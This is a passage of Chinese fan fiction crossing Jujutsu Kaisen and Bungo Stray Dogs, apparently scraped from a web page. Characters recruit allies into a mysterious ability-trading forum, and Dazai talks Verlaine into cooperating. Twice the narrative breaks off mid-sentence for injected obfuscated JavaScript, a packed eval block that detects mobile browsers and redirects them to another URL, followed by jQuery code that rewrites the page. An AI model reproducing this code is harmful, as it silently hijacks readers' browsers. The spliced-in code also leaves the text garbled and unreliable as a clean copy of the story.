“但是呢，干活的人还是越多越好啊～”五条悟拖长音调，把主意打到了学弟身上，“要不要把娜娜米也骗进来呢？” 方法倒是很简单，悟已经隐约摸到了坑蒙拐骗、啊不，增加论坛成员的方法，就是找个方法对方主动察觉到这玩意的存在就行。 硝子：“……”你也知道你在干坑蒙拐骗的缺德事啊。 还有，后面别在学弟面前用那么恶心的爱称，七海会想退学的吧（。 “术式的种类越多，事情不会更有意思吗～”说到底，五条悟对于那些异能力的兑换不是很上心，说的更准确一点的话，光论攻击力，对方在他这里能力的价值就太低了。 毕竟是拥有价值一万分「无下限」的男人。 杰不这么认为。 “但是同世界术式的兑换，消耗的积分更高一些，”咒灵操使一向节省，“多出的手续费有30％，不是很划算。” 硝子也觉得异能比较好用。 「堕-落论」的好处显而易见，为高专争取了大量的时间，并且像人为制造了光源一般，直接打亮了暗处的敌人。 除此之外，还有一个更具有吸引力的理由。 “这个「反转术式」的附加技能，你们看到了吗？” 杰：“啊。” 悟：“啊？” 一张脸了然，一张脸迷茫。 “悟，你给我好好看夜蛾老师的情报汇总啊！” 硝子真想把烟戳猫嘴里，她扣了扣屏幕，“看，看见没，这里多了一个「反转术式」的使用技巧。事先说明一下，我自己用的时候可没这东西。” 悟：“「创口贴」？使用起来只需要5积分，杰，你试过？” “嗯，我用多了之后发现了的。”他还以为这个[创口贴]技能是硝子原本就有的，经提醒才发现论坛里有署名。 家入硝子所掌握的治疗能力需要近距离接触，“但是这个技巧可以让咒力在空中短暂凝聚，从而获取滞空能力和延迟聚力，”硝子思考了一下，“流水线治疗小伤口，和实战中的远距离补给，很实用。” “实战？硝子你也想往外跑了？”悟笑了。 奶妈哼笑一声，没作回答。 夏油杰前段时间的救援数据超了她一点点，硝子承认自己有被卷到。 “太宰治，”夏油杰读出发明者的姓名，他看向悟，“是不是和你在论坛里吵架的那个人？” “嗯嗯嗯，”悟告状，“他超级幼稚不讲理。” 杰：“……”你也没好到哪里去。 对方的嘴炮行为暂且不提，硝子很佩服这个人的脑袋，“是思维方式的区别，不知道他是怎么分析术式的运转结构的，但这个太宰治在不同能力体系下，操作思维非常灵活。” 术式入门门槛很高，往深了研究也有很多阻碍。就像五条悟和硝子请教时出现的情况，就算是使用者本人也无法具体清晰地形容出自己的思路。 再深-入发掘，需要不小的悟性和或许一点点玄学。 三人组还不知道，从异世界的太宰治拿到「反转术式」，到为了提高效率开发拓展性技能，中间只隔了极为恐怖的3分钟。 硝子托腮，轻缓吐气，烟雾遮盖了她懒洋洋的眉眼，“到底个是什么样的家伙呢？” ＋ 真是个不要命的小混-蛋啊！ 织田作之助很少出现情绪急剧波动的情况，决心不做杀手算一次，仇恨与生死之间走一遭算一次，其余的平平淡淡。 他这一回是真要被太宰作大死的操作气背过去，和看见朋友主动往别人枪口上凑同一个心情。 一旁坂口安吾冷汗淋漓，织田清楚对方明显还没回过神来，导致他遗漏了一个关键点： 在有[帐]的情况下，敌人是怎样潜入Lupin并成功挟持的？ 还不是某个人故意留的漏洞，将对方放了进来。 联系太宰之前去Mafia大楼的地牢转了一圈的说辞…… 这大概就是对方刻意捎过来的尾巴。 可惜风暴中心的家伙压根没注意到友人压抑的情绪。 ——“啪”，“啪”。 太宰治发出两声清脆的击掌。 “很好，这样就很好！” 坂口安吾在一旁看着自己的论坛屏幕，目瞪口呆。 看看【有人就拉】异能者这一方的成员列表，就能知道太宰治干了什么好事。 …… 坂口安吾（眼镜） 织田作之助（织田作之助） 太宰治（绷带是什么仙品） 保尔·魏尔伦（暗杀王） …… 太宰：“好厉害的昵称呀！光一眼就能让人闻风丧胆！” 两分钟。 从太宰被刀刃抵住要害，到魏尔伦加入论坛，中间只间隔了短短两分钟。 安吾脑海里冒出无数情报。 都不用费心思猜身份，这位凭空出现的金发男人直接贴心送谜底。 法国间谍，世界黑暗势力里远近闻名的暗杀王，几年前入侵横滨，虐杀多人，已经被港口Mafia重力使解决的超越者保尔·魏尔伦，在官方早已登记死亡。 事实是他还活着，被Mafia首领森鸥外拍板藏起来躲避追杀？ 不，这已经不是最离谱的了，目前的情报已经刷新。 看上去想在Mafia呆到死的魏尔伦不知道被太宰用什么手段勾了过来，跟踪到Lupin，并火速被坑蒙拐骗。 如同什么降了智的小白兔。 太宰治做了什么？他仅仅只是念了几句诗。 听上去像是法文。 “Mon ?me éternelle Observe ton v?u Malgré la nuit seule Et le jour en feu.[1]” 红色玫瑰般在白色绷带上绽放，太宰丝毫不在意疼痛。 “真浪漫啊，”太宰感叹，“要加入吗？他现在就在我们眼前，但你却看不见他。” 魏尔伦：“我也可以在杀了你之后继续调查。” “那你就没机会咯，”太宰听见威胁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他缓缓抬手，放于左胸口心脏之上，细看，从腕到指尖竟然在轻微地颤-抖。 织田凑到太宰耳边，轻声询问，“诗是什么意思？” “这个啊。”太宰点了点屏幕的底纹。论坛上金色的字分散注意力，导致它们浅淡到几乎看不见，极其容易忽略。 几乎将视线凑到屏幕近前观察，才能发现这不是单纯的屏幕纹路或者是无意义的装饰，而是拉长拉扁了的文字字符。 “法文…？” 看得织田作之助眼睛都花了，男人断断续续读出声来，除了刚刚太宰的那首诗之外，还有不少其他的内容。 安吾：“……”这是何等可怕的观察力？ 太宰笑了，从目前的局面来看，他不仅发现了，还明显有所猜测，蓄谋已久。 出乎安吾意料的是，那个黄-色异能光屏就像是某种冷静剂，让魏尔伦的情绪瞬间转移，抑或是强行压制到了更深的地方。 但是对方的动作仍旧粗暴。 太宰的衣领被一只手扯住。 “兰波他…这是被人类利用了吗？”魏尔伦的字字句句从牙缝中挤出，“这个东西，到底对他做了什么？！” 法国绅士已经丢掉优雅姿态卸掉伪装面具，连眉间都散发出一股暴虐感。 这回织田可没放纵对方。 红发男人探出手，制住了魏尔伦的手腕，「人间失格」贴着皮肤直接发动，直接消除了男人使用异能的能力。 这个局面，明显出乎暗杀王预料。 “你不是…没有异能了吗？”金发男人明显知道点什么，但可惜还慢了一步。 “现在这还是玩具吗？” 织田另一只手抬起枪口，明显已经用那把致命武器锁定敌人。 “动粗？我是无所谓啦～”太宰的笑容不变，“你最好早点松开，这对你自己有好处。” 安吾看着对方捏着衣领的手，双眼闭了闭，没有戳穿「堕-落论」实际在太宰治身上的事实。 这么近、这么久的接触，加上他所了解的太宰治的脑容量……毫不夸张地说，暗杀王可能连底-裤都被扒干净了。 没救了。 这位保尔先生，自求多福吧。 14.疯狂拉人 太宰没有选择暴露太多。 情报握在手里是要利用的，不是用来当面撕破脸图个爽快的，对方甚至连这个事实都别知道，方便他阴人。 绷带少年抬抬手臂做出投降姿态。 “保尔先生，不要这么激动，我们没有任何恶意，毕竟连我们自己也是一头雾水，”太宰治语气柔弱，“但是呢，在掌握了那么多关键信息的情况下，不把这个小小的希望透露给你，总觉得良心不安。” 安吾：“……” “这算希望吗？”魏尔伦丢下衣领，挣开织田的控制，拳头依旧死死紧握，指缝渗出血点，“明明…他已经…” 兰波和他不一样，对方迎接的是真正的死亡，并且留了后手，将异能力变为“心脏起搏器”植入了魏尔伦体内，让这第二位重力使在黑暗中活了下来。 可笑的是，知情的人太少，唯一能交流的，反而只剩下面前这个不知深浅的狐狸干部。 “是的，是中也瞒着首领亲自埋葬了他，”太宰声音转淡，“毕竟是中也的老哥。” 弟弟的名字成为又一道束缚，落在魏尔伦心头。 “你觉得幕后主使干了什么，”金发男人气息暴躁不安，但眼神冷凝，明显还在理智思考，“是复活了…还是被控制了？…” 魏尔伦平等地讨厌所有人，但不可否认的是，太宰治拥有着普通人无可比拟的才能。 “保尔先生觉得，这个论坛是什么呢？”太宰不慌不忙地抛出问题。 绷带少年姿态闲适，像是甩竿前一步一步稳健地打下饵窝。 “我才刚加入没1分钟，你问我这个？”魏尔伦嗤笑，但还是回答了，“某个异能力者搞的鬼吧？Mafia刚下了神谕，要全力追查某个超越者组织。” “哇，森先生这么有行动力啊，”太宰惊讶捂嘴，“我还以为他不会相信我说的话呢，感动。” 魏尔伦：“……”懂了，这也绝对是个假情报。 “论坛是有管理员的，”织田道：“但是对方一直没有出面，也没有和我们直接交流过。” “如果搞不清楚出发点的话，那我们为什么不换个思路，从结果考虑呢？”太宰比了一个[耶]的手势，“最终的后果明明只有两个可能的方面。” “好，或者和坏。”安吾喃喃。 “对，”太宰率先弹出食指，“那就让我们先假设最坏的情况——兰堂先生的异能力被利用了，而我们都是目标、或者说，成为了某个更宏伟目标的人质。这种情况下，对方图谋巨大，加入论坛的每一个人都承担着巨大的风险。” 魏尔伦简直给气笑了，“所以你们就拉我进来分担风险？” “不直面危险，就连入局的资格都没有。”太宰微笑着用上敬语，很难不说这是种别样的挑衅，“这点您作为世界级的杀手，应该深有感触吧？” 织田垂下眼帘。 这点他很有发言权。方才他扣住魏尔伦手腕的时候就发现了，虽然对方因为预料之外的惊人情报动摇，但也只是短短一瞬。 在和太宰对峙的过程中，保尔·魏尔伦状似戾气横生，实际心跳却归于平稳，依旧保持着冷静的状态。 这是所有优秀的杀手都必备的心理素质。 织田作之助觉得这个人和他们碰面之后所有的言行举止，都是一张假面。 危险……红发男人心里也如安吾所想。 他不清楚那个论坛给出的【不能互相伤害】的[束缚]能奏效到什么程度，不过事已至此，多虑无用。男人心里唯一所想的，就是拼尽全力保护友人。 很神奇的一点是，虽然太宰自己蹲在黑暗里什么都不信，但是他在下注时，却又微妙地愿意将一部分筹码放在光明面上。 “好的情况，那稍微乐观一点，”太宰弹出第二枚手指，笑眯眯道：“他…或者说他们，是来帮助我们的。” 魏尔伦：“可能吗？” “为什么不？”太宰笑了，“你是觉得身为前超越者的兰堂，能在筹谋了一年之后将异能放进你体内的厉害家伙，会任人鱼肉吗？” 酒吧里陷入沉默。 “这就是我所说的，那一丝丝希望——我们的目标是一致的。” 示弱降低敌意，分析消弭矛盾，非常娴熟的谈判技巧。 安吾心脏狂跳，接下来就是……让步给出甜头。 “保尔先生不用担心，我们会进行协助。毕竟调查清楚真相、救助兰堂先生，等同于在帮助我们自己。” 太宰不紧不慢抛出最重要的一枚筹码，“而且，这件事我还会在适当的时机透露给中也。届时，能修复关系也说不准。” “……这倒不用你操心了。”魏尔伦对此很有自知之明。 他可是杀了中也最看重的几个兄弟，对方可能对他手下留情，但这辈子都不可能原谅。 “那也不一定。”太宰治调转自己和织田的屏幕界面，同时展示了【有分就买】和【有人就拉】两个板块。 在异能力者的成员列表里，多出了一个名字：[夜蛾正道（班主任）]，头像是一只长相奇怪的玩-偶。 与此时，积分商城的术式里多了一个——「咒骸」。 “我去咨询了一下，这个所谓的咒骸，是将某个死去的灵魂塞进制作好的玩-偶里，”Mafia史上最年轻的干部慢悠悠扔出最重的筹码，“目前这位夜蛾老师只用过动物的灵魂，但是……” ——但是，动物有灵魂的话，人不也同样吗？ 死去的灵魂在玩-偶上复活…如果可行，再想得更远些，不光是中也看重的旗会，甚至…更早一些的兰堂本人，也有重新苏醒的机会。 [这么重要的秘密，对方怎么可能立刻告诉陌生人啊！]安吾心道：[一定是太宰半诓半猜出来的！] 在恐怖的诱惑面前，太宰治不忘及时扯住缰绳。 “不过，忘了一提，目前兑换的权限在我和织田作手上呢，”点点安吾，“2/3票权，所以这家伙可以忽略哟～” “……我会跟票的。”现在不是扩大裂痕的时候，安吾推推眼镜，道：“在不影响横滨安全的前提下，我会同意你们的所有决定。” 魏尔伦垂下眼帘，片刻后长吐一口气。 “可以，”金发男人收起了警戒的姿态，“具体合作形式呢？” 织田骤然松开拳头。 成了。 谈判高手，炉火纯青。 “嗯嗯，这个当然要和保尔先生好好商量了，”太宰笑眯了眼，“首先呢，是保密原则，你明面上继续借助Mafia庇护…” 在前Mafia干部打算切换工作模式，和合作伙伴长谈时，他的袖口被人扯了下。 织田作之助走到吧台后，将急救箱拎出来，示意太宰解下脖子上的绷带。 少年眨眨眼，随后乖乖仰头，让织田帮他把染血的绷带拆掉、消毒伤口，重新包扎。 红发男人的动作很熟练。 保尔·魏尔伦和坂口安吾沉默着。前者在浏览论坛的各种内容，手指黏在异能屏幕上不愿意放下来。 后者在怀疑自己的脑子。 不是，太宰治这波操作经不起复盘，因为它能把复盘的人活活吓死。 因为…夜蛾正道这个人，并不是一开始就出现在人员板块的啊！ 重新消化论坛的实时情报，重新布局，期间给出的反应时间极短。这不仅需要优秀的大脑，还相当需要行动的胆量。 目光接触，太宰朝他露-出高深莫测的微笑。 安吾有种坠入深渊的无力感。 他敢肯定，对方一定猜透了自己目前的想法，明晃晃进行了一次心理方面的碾压。 他真的有机会预测到未来的局面、并在合作中占据主导吗？就算是异特科这样的庞然大物，在缺失大量有关论坛情报的基础上，也很难顺利布局吧…… 怪物一样，他想。 安吾不知道他现在的表情和纪德有异曲同工之妙——隐隐地开始有摆烂气息。 “在交流情报之前先吃饭吧，”织田很注意规律饮食，孩子们在太宰回来之前都被他喂饱了，“今天正好煮多了。” 太宰语气轻松，招呼道：“好好好，坐，你们都坐。”仿佛Lupin酒吧是他家。 织田作之助端出了一锅咖喱。安吾动作有点慢吞吞的。自从织田掌勺，他已经连吃了四天咖喱饭了，唯一的区别大概只有肉的种类和辣不辣，嗯…… 太宰高兴地扑到卡座上，在松软的坐垫上弹来弹去，大声提要求，“织田作，我想吃蟹肉咖喱饭！” “已经做好了，没有蟹肉，”织田顿了顿，“我去附近的便利店给你加个罐头吧。” “万岁！！！”太宰笑得像只偷了腥的猫，“大家一起来尝一尝吧！” 安吾：“……”别了吧，他就免了，还是纯咖喱好吃…… 蟹肉罐头＋咖喱，这是什么黑暗口味…… 织田，你可千万不要把他惯得太离谱啊啊啊！！！ ＋ “我有一种不好的预感。” 两个人站在高专大门门口，一人背着长条单肩包，另一人背着一个鼓鼓囊囊的双肩包，像是刚刚旅游归来。 金发少年蹙眉，路过空荡荡的训练场时，他又重复了刚刚那句话。 “我有种不好的预感，要不然我们出发去接下一个任务吧。” “为什么？好不容易做完任务回来的欸！”黑发少年歪着脑袋，抖了抖自己背上的背包，“而且，至少要把伴手礼给学长他们吧？” 七海建人蹙眉，表情很不理解，“我们明明是顶替那两个不靠谱的家伙出远门做任务的，为什么还要给他们带伴手礼？” “这个，心意嘛，”灰原雄挠挠后脑勺，“而且夏油前辈真的很值得尊敬欸！” 七海：行，你忽略了谁你自己清楚，我不揭穿你。 “别担心啦，我们要去的是医务室呢，是硝子前辈找我们，”灰原乐观道：“应该不是什么很重要的事情吧。” “……希望如此。” 七海敲敲门，里边的嘈杂声里混了一声“请进”的许可。金发少年拉开门，看见面前的场景，一时不知道该做什么表情 硝子：“往左边看看——不是吧？那里也有？到底有多少根啊！你拔吧。” “哦。”夏油杰紧张地应了一句。 “不许把毛囊拔掉啊！”硝子补了一句。 杰显得更紧张了，但是干脆利落出手——拔掉了硝子的一根白头发。 “怎么样？”杰给硝子展示战果。 “很不错。”棕发少女双指夹烟，满意地点点头。 七海&灰原：“？” 与此同时，另一侧五条悟也动手了，硝子感觉头皮一紧，下一秒这家伙手里多了一根白发和两根棕发。 硝子：“……” 悟：“……” “我没让你动手！”硝子去瞪这个状似无辜的家伙，“给我在旁边好好呆着。” “老子只想帮个忙嘛，”悟委屈，“谁知道「反转术式」连白头发都治不好。” “这是谁弄的呢？”硝子冷笑，“带着你的白头发和「无下限」过一辈子去吧。” 悟：“白发不好吗？看老子，很帅的，真的。” 硝子：“滚蛋。” 好，非常好。事情又再一次出乎他的预料。七海建人冷静分析了一下目前的情况，他感觉自己不太能分析得出来。不过又怎么样呢，这三位前辈的形式逻辑他一个也没搞懂过，这不妨碍他察觉到不妙之后迅速远离…… 一只胳膊勾住金发少年的肩膀，把人往医务室床边拘。 七海建人扭头，看见五条悟在朝他眨眼睛。 蓝色卡姿兰大眼睛，blingbling的。 在那一瞬间，高专靠谱后辈的警铃发出尖锐爆鸣。 七海：“我有事，还是先…告辞……” 金发少年想往门口退，但是那个胳膊有如千钧坠，挂在他肩膀上纹丝不动。 “七海～～～”五条悟明显恭候多时，不怀好意，“别这么急着走嘛～～～我们专门喊你们过来的。” “前辈们午安！”另一侧灰原叛变了，他乐颠颠融入了这个奇怪的氛围，“硝子前辈真不容易啊！白头发都忙出来了！需要我帮忙吗？” 七海：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976822|136437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”这些人…这些人到底是怎么回事…… “喂，把七海拉进群。”五条悟突然喊了一句。 奇怪的是，他这句话不是对着夏油杰也不是对着家入硝子说的，反而眼睛在看向近处的虚空，仿佛在看着什么不存在的东西。 “嗯？这样不行？”悟换了几种方式，“让七海加入组织？让七海海当管理员？” 七海眉头紧皱，这是什么越来越恶心的称呼？ 什么管理员？专门管理白头发的管理员吗？谢谢，他不要。 看着金发少年越来越僵硬的表情，夏油杰难得感觉到了一丝愧疚。 杰：“……”Nanami君，对不住了，事情是悟干的但主意是他提的，他也没想到会这样。 要不然从灰原雄本人入手？ “灰原君，你想加入…”夏油杰想尝试说出[论坛]两个字，仍旧是被强行屏蔽。 “啊？什么什么？”灰原很好奇，兴致勃勃发问。 看见对方闪亮亮的眼神，悟眼珠子一转，似乎是想到了什么。 “喂，灰原，要加入异能者联盟吗？”悟松开七海，亲亲热热地搂上学弟肩膀，像是在进行什么非法宣传，“不但能赚钱（积分），还可以变得和老子一样强哦！” “变强？”灰原亮晶晶地看了一眼丸子头前辈，“那，能变得像夏油前辈一样强吗？” “当然了！”悟拍胸打包票，“你的前辈们都在里边呢！大家绝对会一起变强的！” 杰：“？”你还不如去忽悠七海，这种胡扯，一看就是空头支票。 但是…… 就在悟话音落下，夏油杰眼睁睁看着屏幕跳出话来。 【[灰原雄]已满足论坛标准，是否招募？】 【是/否】 紧接着，【有人就拉】板块就这么水灵灵地出现了一个人名。 那个原本只有三个人的列表已经快翻了一倍，分别写着： 五条悟（老子天下第一） 夏油杰（咒灵操使） 家入硝子（？？？） 夜蛾正道（班主任） 灰原雄（快乐每一天） 夏油杰：“？？？” Hello？？？这样骗也行？？？ 新加入的灰原也猛然拥有了这一块神奇的面版。黑发少年看着自己骤然浮现的“高科技”，眼神震惊。左顾右盼，发现自己的学长学姐面前也有。 这绝对不是自己的错觉！这这这是什么新型术式吗？谁的？ 设置好昵称后，灰原想问个清楚，但是询问论坛二字哽在喉咙里怎么也吐不出来。 “呃…呃呃，七海，你看见了吗？我前面有…那个，这个…” 金发少年：“？” 七海建人仍旧是一片迷茫，但灰原雄这里成功了！真的是可喜可贺。 至此，论坛的招募标准已经彻底明晰。 ——要让目标人员产生一个类似的概念，正常到某个组织，扯淡到某个异能联盟，甭管是什么，只要对方以某种形式相信论坛概念的合理性，那么就满足了标准。 五条悟眼睛亮了，明显有种“老子随嘴一说这样也行？”的惊喜感。夏油杰见状有些头疼地开始揉太阳穴，果不其然看见自己搭子又亲亲热热地绕回了金发后辈身边。 “呐呐，娜娜米～异能者联盟～～来嘛来嘛～” 七海：“容我拒绝。” 这个拉长了刻意装萌的尾音可以收一收吗！娜娜米又是什么恶心称呼！离他远点！ 杰：“七海君，灰原君已经加入了，你看…？” “夏油前辈，很抱歉，我没有时间参与过家家游戏。”七海冷酷道：“没有什么其他事情的话，请容我告辞了，还有不少任务要完成。” 硝子看着身边两个抓耳挠骚的笨蛋，在心里叹口气，沉吟片刻出手了。 “七海君，你想干另一份兼职吗？” 七海眼神突然警惕，他心里预感到，有什么非常、非常巨大的麻烦要来了。 “先别急着拒绝，”硝子摆摆手道：“听听好处再做决定。” 七海谨慎：“不，我不想英年白头。” 硝子：……这小嘴可真欠呐^^# 硝子：“那这样也说动不了你吗？” 说着，奶妈朝夏油杰递了个眼神，接着抬手，凭空召唤出了一个四级蝇头。 七海冷静道：“这算什么？造假吗？” “别装傻了，你不关心不代表你不知道，”硝子笑笑，“夏油杰用「反转术式」出的任务里面，有一次你在场对吧？那个你也觉得是造假吗？” 七海建人：“……” “干吗？”硝子放下最后一个诱饵，“没有硬性加班任务，不花时间，仅仅是这种程度的借出借入而已，你赚到的你自己花…嘛，现在说了你也不太懂，之后就知道了。” “而且，灰原在这里面有一件事需要你帮助。”夏油杰说得含糊，但黑发最强直觉觉得，这才是起关键作用的说服点。 七海长叹一口气。 他没有其他选择了，不是吗？ 屏幕在金发少年面前弹出，悟振臂欢呼，“好耶！！！” “……这个昵称不能隐藏吗？”七海艰难发问，“还有我的头像为什么是一块表？能改吗？” 没人理他，夏油杰去校长室和夜蛾商量有关旧枷场村的调查，而唯一搭理学弟的五条不是出于人道主义关怀，而是…馋他术式。 “娜娜米～”悟的眼巴巴的，“「瓦落瓦落」这个术式你研究透了吗？需要我来指导你吗？” 七海看得一阵恶寒，“这就不必了，我们有体术课。” 灰原多一句嘴问道：“五条前辈怎么指导我们呀？” 五条悟眼睛亮了，满脸写着——太好了太好了老子正好想着这件事怎么开口然后特意给老子递来话头灰原桑你真是个好人啊阿里嘎多！ “嘿嘿，当然是先换啦，换过来然后你们看我用用，”五条咧嘴，眉飞色舞，“来，老子来给你详细说说。” 七海：“……”这人，怎么连个表情都这么喧闹。 吵到他眼睛了！ 干票大的 在旧枷场村的调查还处于收集情报的停滞状态时,东京咒术高专迎来了一位不速之客。 “九十九由基？”夏油杰第一次听见这个陌生的名字，“她是谁？” “这个，有点说来话长。”夜蛾简单介绍了一下对方的特级实力，并重点提醒了杰九十九和总监部的微妙关系。 总之就是不太好,然后这位姐跑国外去了,一直拒绝做任务。 在东京咒术高专背荫五条家势力、高调地拒绝天元的任务的节点,这位与总监部关系僵硬的特级特地从海外归来拜访…未免有些意味深长。 “那家伙跟你说了什么？”悟自己火速炫完单人任务,提着咒灵来搭档这里交差。 夏季咒灵爆增，人手不够,两个最强有几乎大半的任务是分开做的。 夏油杰默默转化咒灵玉，一声不吭。 “那家伙也是特级吧？” 五条悟眼珠子一转，杰就知道对方在打什么主意。 “悟，我们拉人不能拉得这么随便，这种论坛需要一点门槛，至少要设置一个考察期。” 夏油杰觉得自己应该适当约束一下五条悟了,毕竟后者目前处于一个有分在手、谁的术式都想借过来玩玩的状态。 当然了,五条悟最眼馋的还是「咒灵操术」，只不过在咒灵操使的严防死守下，第一次之后一次也没成功过。 “九十九由基这个人我们完全不熟悉,直接拉的话也许会造成严重的后果。” “什么严重的后果？” “用术式作恶之类的…” “怎么会呢？”悟瞪大猫猫眼，“其他人如果兑换了也打不过我俩啊。” 好纯粹的自信,杰清楚这对五条悟而言不难应付，对其他人就不一定了。 “出现一个人拥有两种能力该怎么办呢？”杰问道。 “这点夜蛾带我们试过的吧？只有硝子的「反转术式」比较特殊，其他的都会因为能量流动的不同覆盖掉。” “那也有可能产生特例,”杰脑袋里突然跳出来一个名字,“比如伏黑甚尔兑换了织田的「天衣无缝」……算了,不提他。” 悟猫猫yue舌。 “别担心啦,杰，花费积分兑换术式的话，都是要经过我们同意的～” 杰捏捏眉心，“但是兑换异能不需要啊。” 说着，像是在佐证他的话，一条信息提示跳了出来。 【[暗杀王（保尔·魏尔伦）]申请借用「咒灵操术」·四级咒灵】 【是（可定时长）/否】 这谁啊？夏油杰蹙眉。 织田没跟他讲过，而且昵称这么奇怪，感觉不是个好人，拒了。 “九十九的术式，我倒是听自己家老头子说过，”悟身体后飘，在杰身旁的台阶上坐了下来，“「星怒」，是能直接顺秒特级咒灵的实力，更具体的就不太清楚了。” “嗯。” “嘛，虽然没有「无下限」厉害，但是如果能交手一定很棒。那个女人的体术也很强。” “……” “杰，你为什么这么没精神啊？”悟脑袋凑了过来。 丸子头少年视网膜被白发一晃，回过神。 “呃，有可能是荞麦面吃多了吧。”他犹豫着找了个借口。 “……你骗老子！” 悟陡然提高音量，控诉道“这段时间你根本没吃荞麦面，不，是根本不好好吃饭！” “……”夏油杰捂着右耳，木着脸往左挪，发什么癫呢，“教学区，你声音小点。” “老子明白了！”五条悟的音量仍旧在昭告天下，“咒灵玉太难吃，所以你吃吐了！” “我才不会像你那么逊呢，”杰呵呵了，“「六眼」也会睁眼说瞎话吗？这段时间你不一直挤我宿舍里？哪只眼睛看见我吐了？” “老子看不到，不代表你没偷偷吞。” 悟的话说得咒灵操使心虚一瞬，又理直气壮起来，“你都那样过分了，我哪有什么独处时间？” 是的，这段时间夏油杰完全没空emo两个人分开做任务这件事情。 他反而有点庆幸。 因为除了不得不分开做的任务，五条悟几乎和他长在了一起， 宿舍，占了。上课用的桌子严丝合缝地贴在一起。估计就连穿裤子的时候，那家伙都在思考怎么把腿塞进他另一只裤筒里。时不时突袭冒出一颗猫头，来一句深情款款的“suguru”。 目的虽然没明说，但猜都不用猜。 ——术式借老子玩玩。 悟似乎对上回自己yue了的战绩十分不服，觉得自己肯定比杰强，他要再吞十几颗玉证明自己！ 夏油杰怕了，真的怕了。做人的边界感在哪里，这简直是强制入侵他的私人空间，把安静内敛的人往死里逼啊！ “杰，你不要冤枉老子，”悟的理由非常质朴，“老子是怕你吃吐了，给你分担点压力呢。” 你滚，你就是想玩。 “都说了我没！有！吐！”话题兜兜转转绕不出去，杰已经不想再费劲儿了，他没好气道“总之这件事你知道就算了，别告诉别人。” 幸好其他人借用「咒灵操术」都是直接借咒灵，没有需要代为吞玉的。 如果被所有人知道他在吞什么东西，那杰感觉自己已经社会性死亡了。 “但是，”悟睁着蓝汪汪的大眼睛，“老子已经和硝子吐槽过了耶。” 杰“……” 咒灵操使握拳。 “但是其他人都不知道！”五条悟火速跟道“我不告诉别人！” “……”杰睨他两眼，“硝子也跟我说过你的术式。” “哦？”悟来了兴趣，“她怎么说？” “好装啊，装得她受不了。” 悟“明明是超级帅好吧！” “哼哼，她的「反转术式」也没有那么难吧？老子才不用浪费积分，”悟被激了，信誓旦旦道“从她嘲讽我的那一刻，老子就下定决心，一定自己悟出来！” 杰“哦。” “杰，「反转术式」你成功了吗？” “试过，很慢，”杰叹口气，“目前还在不停失败。” 悟沉默 杰心里不知怎的，突然闪过九十九由基的话，女人的眼里全是淡淡的漠然与嘲讽。 【咒灵会像蝗虫一样不断产生，而只要人类的恐惧、绝望、恶意存在一天，咒术师就永远不可能结束这恐怖的一切。】 昏暗的看不见光日的房间，小小的孩子缩在铁笼子里面，几乎听不见响动。 是两个女孩子，似乎已经被关了很久，手脚带伤，头发都不太能看清颜色。其中一个孩子抱着一只脏兮兮的玩-偶，眼神躲闪畏惧。另一个孩子主动挡在她面前，用仇恨又警惕的目光死死盯着推门而入的大人。 杰的表情已经彻底从脸上消失了。 ……就算是在高专的地牢，也采用的是封印绳索束缚的形式，没有采用格栅状的牢笼。 他耳边传来村民们零零碎碎的话语。 “这姐妹俩根本不是人，是怪物啊。” “她们想害死我们，山田家的儿子就是被他们弄死的。” “他们的父母还想保护这两个魔鬼，被我们解决了。” “大人们，你们来了真的是太好了，快点帮我们把这两个怪物彻底消灭吧。” 夏油杰“……” “没有……”轻轻的声音淹没在激愤的控诉中。 丸子头少年蹲下，深深弯腰，尽量平视两个蜷缩的身影。他凑近了低声询问，“什么？” 两个孩子紧紧抱着，胆子更大受伤更严重的女孩抬起脸，浑浊的水痕在脸上一闪而过。 “我们没有害死人。”她的声音颤-抖，但是一字一句强撑着讲完了，她怀里的妹妹是全部的支撑与勇气，“他们看不见那个东西，他们才是杀人犯。” 房间里安静了女人笑吟吟的，【当我们连解决眼前的问题都觉得吃力的话，那事情必然会以最差的方式恶化。到那个时候……】 “……到那个时候，我们身边会堆积着同伴的尸体。”杰轻声呓语。 周围的空间发生颤动，两个孩子的瞳孔映出一条条皲裂的黑色裂缝，里面隐藏的恐怖的气息让姐妹俩抱得更紧，瑟瑟发-抖。 房间中的温度骤然下降。 夏油杰已经不知道自己在想些什么了。 [要先把人引出去再动手吧，]黑发最强木然思考着，[不然，吓到两个孩子就不好了。] “杰，”悟轻声，“你刚刚说什么？” 悟的声音像是一声提醒。 不，更准确来说，是燃烧的愤怒当中的一针镇定剂，是风暴最宁静的重心，是从窒息沉郁的海底望见表面亮闪闪的波光， 杰扭头，看见悟的表情，整个人明显一怔，从滔天的情绪中抽离出来 悟表情平静，婴儿蓝色的瞳孔里没有愤怒，没有怜悯和同情，只是纯粹的失去情绪的漠然。 五条家神子的声音不低不高，也很认真。 “不需要你脏了手。”他道“杰同意的话，老子可以把这里的家伙全部杀光。” …… 【织田作之助你好，杰君。】 【织田作之助我想请教一下有关「无下限」的问题。】 【织田作之助无意打扰，你很忙的话，隔段时间空了再回复也行。】 …… 巨大的黑色圆[帐]笼罩住小小的村庄。 远处的两名辅助监督远远地看见这动静，低头在情况记录上登记了几笔。 “那么大size的[帐]，看来这次的敌人不简单啊。”其中一人感慨。 另一人没什么紧迫感，随口应道“大也无所谓吧，反正很快就会解决了。” “哈哈，没错。毕竟是两位[最强]。” 他们看不见，在黑色的幕布之下，咒灵操使召唤出了一个体型臃肿的咒灵。 这个新的咒灵比虹龙的体量还大，夸张的嘴和喉咙几乎占领了半边身子，俯下身来的时候，几乎能将整个村庄一下子夷为平地。 在正常状况下，普通人是看不见咒灵的。也许他们只以为是莫名其妙的乌云挡住了太阳。 但这并不代表，当他们被吞进咒灵肚子里的时候，还能够继续保持无知无觉。 